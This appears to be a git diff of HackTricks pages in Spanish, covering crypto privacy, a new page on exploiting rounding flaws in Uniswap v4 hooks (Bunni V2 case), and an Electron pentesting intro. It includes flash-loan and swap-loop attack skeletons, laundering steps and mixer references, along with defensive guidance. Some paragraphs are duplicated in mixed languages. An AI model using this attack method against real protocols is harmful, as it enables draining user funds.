**CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas.
**CoinJoin** combina múltiples transacciones de diferentes usuarios en una sola, complicando el proceso para quien intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños únicos de entradas y salidas aún pueden potencialmente ser rastreadas.
Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## PayJoin
Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones.
A variant of CoinJoin, **PayJoin** (or P2EP), disfraza la transacción entre dos partes (p. ej., un cliente y un comerciante) como una transacción normal, sin las salidas iguales distintivas características de CoinJoin. Esto la hace extremadamente difícil de detectar y podría invalidar la heurística common-input-ownership usada por entidades de vigilancia de transacciones.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin.
**La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional.
**La utilización de PayJoin podría perturbar significativamente los métodos tradicionales de vigilancia**, lo que la convierte en un avance prometedor en la búsqueda de privacidad transaccional.
# Mejores Prácticas para la Privacidad en Criptomonedas
# Mejores prácticas para la privacidad en criptomonedas
## **Técnicas de Sincronización de Monederos**
## **Técnicas de sincronización de wallet**
Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan:
Para mantener la privacidad y la seguridad, sincronizar las wallets con la blockchain es crucial. Destacan dos métodos:
- **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario.
- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario.
- **Full node**: Al descargar la blockchain completa, un full node garantiza la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, haciendo imposible que los adversarios identifiquen qué transacciones o direcciones interesan al usuario.
- **Client-side block filtering**: Este método consiste en crear filtros para cada bloque de la blockchain, permitiendo a las wallets identificar transacciones relevantes sin exponer intereses específicos a los observadores de la red. Las wallets ligeras descargan estos filtros, solo obteniendo bloques completos cuando se encuentra una coincidencia con las direcciones del usuario.
## **Utilizando Tor para la Anonimidad**
## **Uso de Tor para anonimato**
Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red.
Dado que bitcoin opera en una red peer-to-peer, se recomienda usar Tor para ocultar tu dirección IP, mejorando la privacidad al interactuar con la red.
## **Prevención de la Reutilización de Direcciones**
## **Evitar la reutilización de direcciones**
Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño.
Para proteger la privacidad, es vital usar una dirección nueva para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones con la misma entidad. Las wallets modernas desincentivan la reutilización de direcciones a través de su diseño.
## **Estrategias para la Privacidad Transaccional**
## **Estrategias para la privacidad de las transacciones**
- **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad.
- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios.
- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad.
- **Multiple transactions**: Dividir un pago en varias transacciones puede oscurecer la cantidad, frustrando ataques contra la privacidad.
- **Change avoidance**: Optar por transacciones que no requieran outputs de cambio mejora la privacidad al dificultar los métodos de detección de cambio.
- **Multiple change outputs**: Si evitar el cambio no es factible, generar múltiples outputs de cambio aún puede mejorar la privacidad.
# **Monero: Un Faro de Anonimato**
# **Monero: Un faro de anonimato**
Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
# **Ethereum: Gas y Transacciones**
# **Ethereum: Gas y transacciones**
## **Entendiendo el Gas**
## **Comprendiendo Gas**
El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado.
Gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, valorado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un gas limit y una base fee, con un tip para incentivar a los mineros. Los usuarios pueden establecer un max fee para asegurarse de no pagar de más, con el exceso reembolsado.
## **Ejecutando Transacciones**
## **Ejecución de transacciones**
Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de smart contracts. Requieren una fee y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, gas limit y fees. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad.
Estas prácticas y mecanismos son fundamentales para cualquiera que quiera interactuar con criptomonedas mientras prioriza la privacidad y la seguridad.
## Referencias
@ -179,4 +181,12 @@ Estas prácticas y mecanismos son fundamentales para cualquiera que busque parti
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## Explotación DeFi/AMM
Si investigas la explotación práctica de DEXes y AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consulta:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

160
src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md Normal file
View File

@ -0,0 +1,160 @@
# Explotación DeFi/AMM: Abuso de Precisión/Redondeo de Hooks en Uniswap v4
{{#include ../../banners/hacktricks-training.md}}
Esta página documenta una clase de técnicas de explotación DeFi/AMM contra DEXes estilo Uniswap v4 que extienden la matemática núcleo con hooks personalizados. Un incidente reciente en Bunni V2 aprovechó un fallo de redondeo/precisión en una Liquidity Distribution Function (LDF) ejecutada en cada swap, permitiendo al atacante acumular créditos positivos y drenar la liquidez.
Idea clave: si un hook implementa contabilidad adicional que depende de matemática de punto fijo, redondeo de ticks y lógica de umbrales, un atacante puede crear swaps exact‑input que crucen umbrales específicos de modo que las discrepancias de redondeo se acumulen a su favor. Repetir el patrón y luego retirar el saldo inflado realiza beneficio, a menudo financiado con un flash loan.
## Antecedentes: Uniswap v4 hooks y flujo de swaps
- Los hooks son contratos que PoolManager llama en puntos específicos del ciclo de vida (p.ej., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Los pools se inicializan con un PoolKey que incluye la dirección de hooks. Si no es cero, PoolManager realiza callbacks en cada operación relevante.
- La matemática núcleo usa formatos de punto fijo como Q64.96 para sqrtPriceX96 y aritmética de tick con 1.0001^tick. Cualquier matemática personalizada añadida encima debe casar cuidadosamente la semántica de redondeo para evitar drift en el invariante.
- Los swaps pueden ser exactInput o exactOutput. En v3/v4, el precio se mueve a lo largo de los ticks; cruzar un límite de tick puede activar/desactivar la liquidez de rango. Los hooks pueden implementar lógica extra en cruces de umbrales/ticks.
## Arquetipo de vulnerabilidad: drift por precisión/redondeo al cruzar umbrales
Un patrón vulnerable típico en hooks personalizados:
1. El hook calcula deltas de liquidez o balance por swap usando división entera, mulDiv, o conversiones de punto fijo (p.ej., token ↔ liquidity usando sqrtPrice y rangos de tick).
2. La lógica de umbral (p.ej., reequilibrio, redistribución por pasos, o activación por rango) se dispara cuando el tamaño del swap o el movimiento de precio cruza una frontera interna.
3. El redondeo se aplica de forma inconsistente (p.ej., truncamiento hacia cero, floor versus ceil) entre el cálculo adelantado y la ruta de liquidación. Pequeñas discrepancias no se cancelan y en su lugar acreditan al caller.
4. Exact‑input swaps, calibrados con precisión para atravesar esos límites, cosechan repetidamente el resto positivo de redondeo. El atacante luego llama a la ruta de retiro/liquidación del hook para extraer el crédito acumulado.
Precondiciones del ataque
- Un pool que usa un v4 hook que realiza matemática adicional en cada swap (p.ej., un LDF/rebalancer).
- Al menos un camino de ejecución donde el redondeo beneficia al iniciador del swap a través de cruces de umbral.
- Capacidad para repetir muchos swaps de forma atómica (flash loans son ideales para suministrar float temporal y amortizar gas).
## Metodología práctica de ataque
1) Identificar pools candidatos con hooks
- Enumerar pools v4 y comprobar PoolKey.hooks != address(0).
- Inspeccionar hook bytecode/ABI para callbacks: beforeSwap/afterSwap y cualquier método de rebalancing personalizado.
- Buscar matemática que: divida por liquidity, convierta entre token amounts y liquidity, o agregue BalanceDelta con redondeo.
2) Modelar la matemática y umbrales del hook
- Recrear la fórmula de liquidity/redistribution del hook: las entradas típicas incluyen sqrtPriceX96, tickLower/Upper, currentTick, fee tier y net liquidity.
- Mapear funciones de umbral/pasos: ticks, límites de buckets o breakpoints del LDF. Determinar en qué lado de cada frontera se redondea el delta.
- Identificar dónde las conversiones castean entre uint256/int256, usan SafeCast, o dependen de mulDiv con floor implícito.
3) Calibrar exact‑input swaps para cruzar fronteras
- Usar Foundry/Hardhat en simulaciones para computar el Δin mínimo necesario para mover el precio justo al otro lado de una frontera y disparar la rama del hook.
- Verificar que la liquidación afterSwap acredita al caller más de lo que cuesta, dejando un BalanceDelta positivo o crédito en la contabilidad del hook.
- Repetir swaps para acumular crédito; luego llamar al camino de retiro/liquidación del hook.
Example Foundry‑style test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundary‑crossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hook‑exposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Calibrando el exactInput
- Calcula ΔsqrtP para un paso de tick: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Aproxima Δin usando las fórmulas de v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Asegúrate de que la dirección de redondeo coincida con la matemática del core.
- Ajusta Δin ±1 wei alrededor del umbral para encontrar la rama donde el hook redondea a tu favor.
4) Amplifica con flash loans
- Pide prestado un notional grande (p. ej., 3M USDT o 2000 WETH) para ejecutar muchas iteraciones de forma atómica.
- Ejecuta el bucle de swap calibrado, luego retira y reembolsa dentro del callback del flash loan.
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run threshold‑crossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Salida y replicación entre cadenas
- Si los hooks están desplegados en múltiples cadenas, repite la misma calibración por cadena.
- Los fondos del puente vuelven a la cadena objetivo y opcionalmente se ciclan vía protocolos de lending para ofuscar los flujos.
## Causas raíz comunes en la matemática de hooks
- Semánticas de redondeo mixtas: mulDiv trunca hacia abajo mientras rutas posteriores efectivamente redondean hacia arriba; o conversiones entre token/liquidity aplican diferentes redondeos.
- Errores de alineación de tick: usar ticks sin redondear en una ruta y redondeo espaciado por tick en otra.
- Problemas de signo/desbordamiento en BalanceDelta al convertir entre int256 y uint256 durante el settlement.
- Pérdida de precisión en conversiones Q64.96 (sqrtPriceX96) no reflejada en el mapeo inverso.
- Vías de acumulación: remanentes por swap rastreados como créditos retirables por el caller en vez de quemarse/ser zero‑sum.
## Guía defensiva
- Differential testing: refleja la matemática del hook frente a una implementación de referencia usando aritmética racional de alta precisión y afirma igualdad o un error acotado que siempre sea adversarial (nunca favorable al caller).
- Tests de invariantes/propiedades:
- La suma de los deltas (tokens, liquidity) a través de las rutas de swap y ajustes del hook debe conservar valor módulo fees.
- Ninguna ruta debe crear crédito neto positivo para el iniciador del swap en iteraciones repetidas de exactInput.
- Tests de umbrales/límites de tick alrededor de entradas de ±1 wei para ambos exactInput/exactOutput.
- Política de redondeo: centraliza helpers de redondeo que siempre redondeen en contra del usuario; elimina casts inconsistentes y floors implícitos.
- Sinks de settlement: acumula el residuo de redondeo inevitable en el tesoro del protocolo o quémalo; nunca atribuirlo a msg.sender.
- Límites/tasas de control: tamaños mínimos de swap para triggers de reequilibrio; deshabilitar rebalances si los deltas son sub‑wei; sanity‑check de deltas contra rangos esperados.
- Revisar los callbacks del hook de forma holística: beforeSwap/afterSwap y before/after liquidity changes deben coincidir en la alineación de ticks y el redondeo de deltas.
## Estudio de caso: Bunni V2 (2025‑09‑02)
- Protocol: Bunni V2 (Uniswap v4 hook) con un LDF aplicado por swap para reequilibrar.
- Causa raíz: error de redondeo/precisión en el accounting de liquidez LDF durante swaps que cruzan un umbral; discrepancias por swap que se acumularon como créditos positivos para el caller.
- Ethereum leg: el atacante tomó un flash loan de ~3M USDT, realizó swaps calibrados exact‑input en USDC/USDT para generar créditos, retiró saldos inflados, reembolsó y enroutó fondos vía Aave.
- UniChain leg: repitió el exploit con un flash loan de 2000 WETH, desviando ~1366 WETH y bridgeándolos a Ethereum.
- Impact: ~USD 8.3M drenados a través de cadenas. No se requirió interacción de usuarios; todo on‑chain.
## Checklist de hunting
- ¿La pool usa una dirección de hooks distinta de cero? ¿Qué callbacks están habilitados?
- ¿Hay redistribuciones/rebalances por swap usando matemática custom? ¿Alguna lógica de tick/threshold?
- ¿Dónde se usan divisiones/mulDiv, conversiones Q64.96, o SafeCast? ¿Son las semánticas de redondeo globalmente consistentes?
- ¿Puedes construir Δin que apenas cruce un límite y obtenga una rama de redondeo favorable? Prueba ambas direcciones y tanto exactInput como exactOutput.
- ¿El hook rastrea créditos o deltas por caller que puedan retirarse más tarde? Asegura que el residuo quede neutralizado.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Conceptos Básicos
- **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un back-end transparente y auditable.
- **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos.
- **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizadas y Organizaciones Autónomas Descentralizadas, respectivamente.
## Mecanismos de Consenso
Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain:
- **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW.
## Esenciales de Bitcoin
### Transacciones
Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
#### Componentes Clave:
- **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción.
- Las transacciones constan de **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de transacción).
### Lightning Network
Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain.
## Preocupaciones de Privacidad de Bitcoin
Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios.
## Adquiriendo Bitcoins de Manera Anónima
Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad.
# Ataques a la Privacidad de Bitcoin
# Resumen de Ataques a la Privacidad de Bitcoin
En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin.
## **Suposición de Propiedad de Entrada Común**
Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
## **Detección de Dirección de Cambio UTXO**
Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
### Ejemplo
Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad.
## **Exposición en Redes Sociales y Foros**
Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**.
## **Análisis de Gráficos de Transacciones**
Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos.
## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)**
Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente.
### Ejemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Si agregar más entradas hace que el cambio de salida sea mayor que cualquier entrada individual, puede confundir la heurística.
## **Reutilización Forzada de Direcciones**
Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones entre sí.
### Comportamiento Correcto de la Billetera
Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad.
## **Otras Técnicas de Análisis de Blockchain**
- **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones propiedad del mismo usuario.
- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio.
- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables.
## **Análisis de Tráfico**
Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones.
## Más
Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transacciones Anónimas de Bitcoin
## Formas de Obtener Bitcoins Anónimamente
- **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo.
- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin.
- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de forma anónima, aunque es ilegal y no se recomienda.
## Servicios de Mezcla
Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin.
## CoinJoin
**CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas.
Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros.
## PayJoin
Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin.
**La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional.
# Mejores Prácticas para la Privacidad en Criptomonedas
## **Técnicas de Sincronización de Monederos**
Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan:
- **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario.
- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario.
## **Utilizando Tor para la Anonimidad**
Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red.
## **Prevención de la Reutilización de Direcciones**
Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño.
## **Estrategias para la Privacidad de Transacciones**
- **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad.
- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios.
- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad.
# **Monero: Un Faro de Anonimato**
Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
# **Ethereum: Gas y Transacciones**
## **Entendiendo el Gas**
El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado.
## **Ejecutando Transacciones**
Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad.
## Referencias
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

202
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -1,17 +1,17 @@
# Electron Desktop Apps
# Aplicaciones de escritorio de Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos mecanismos de seguridad de los navegadores modernos.
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerla:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una Electron app, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ En el código fuente de una Electron app, dentro de `packet.json`, puedes encont
```
Electron tiene 2 tipos de procesos:
- Main Process (tiene acceso completo a NodeJS)
- Renderer Process (debería tener acceso a NodeJS restringido por razones de seguridad)
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debería tener acceso a NodeJS restringido por razones de seguridad)
![](<../../../images/image (182).png>)
Un **renderer process** será una ventana del navegador que carga un archivo:
Un **proceso de renderizado** será una ventana del navegador que carga un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,15 +32,15 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **renderer process** pueden ser **configurados** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **impidirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si **las configuraciones están correctamente establecidas**.
Los ajustes del **renderer process** pueden **configurarse** en el **main process** dentro del archivo main.js. Algunas configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
La aplicación Electron **podría acceder al dispositivo** vía Node APIs aunque puede configurarse para evitarlo:
La aplicación Electron **podría acceder al dispositivo** vía Node apis aunque puede configurarse para impedirlo:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
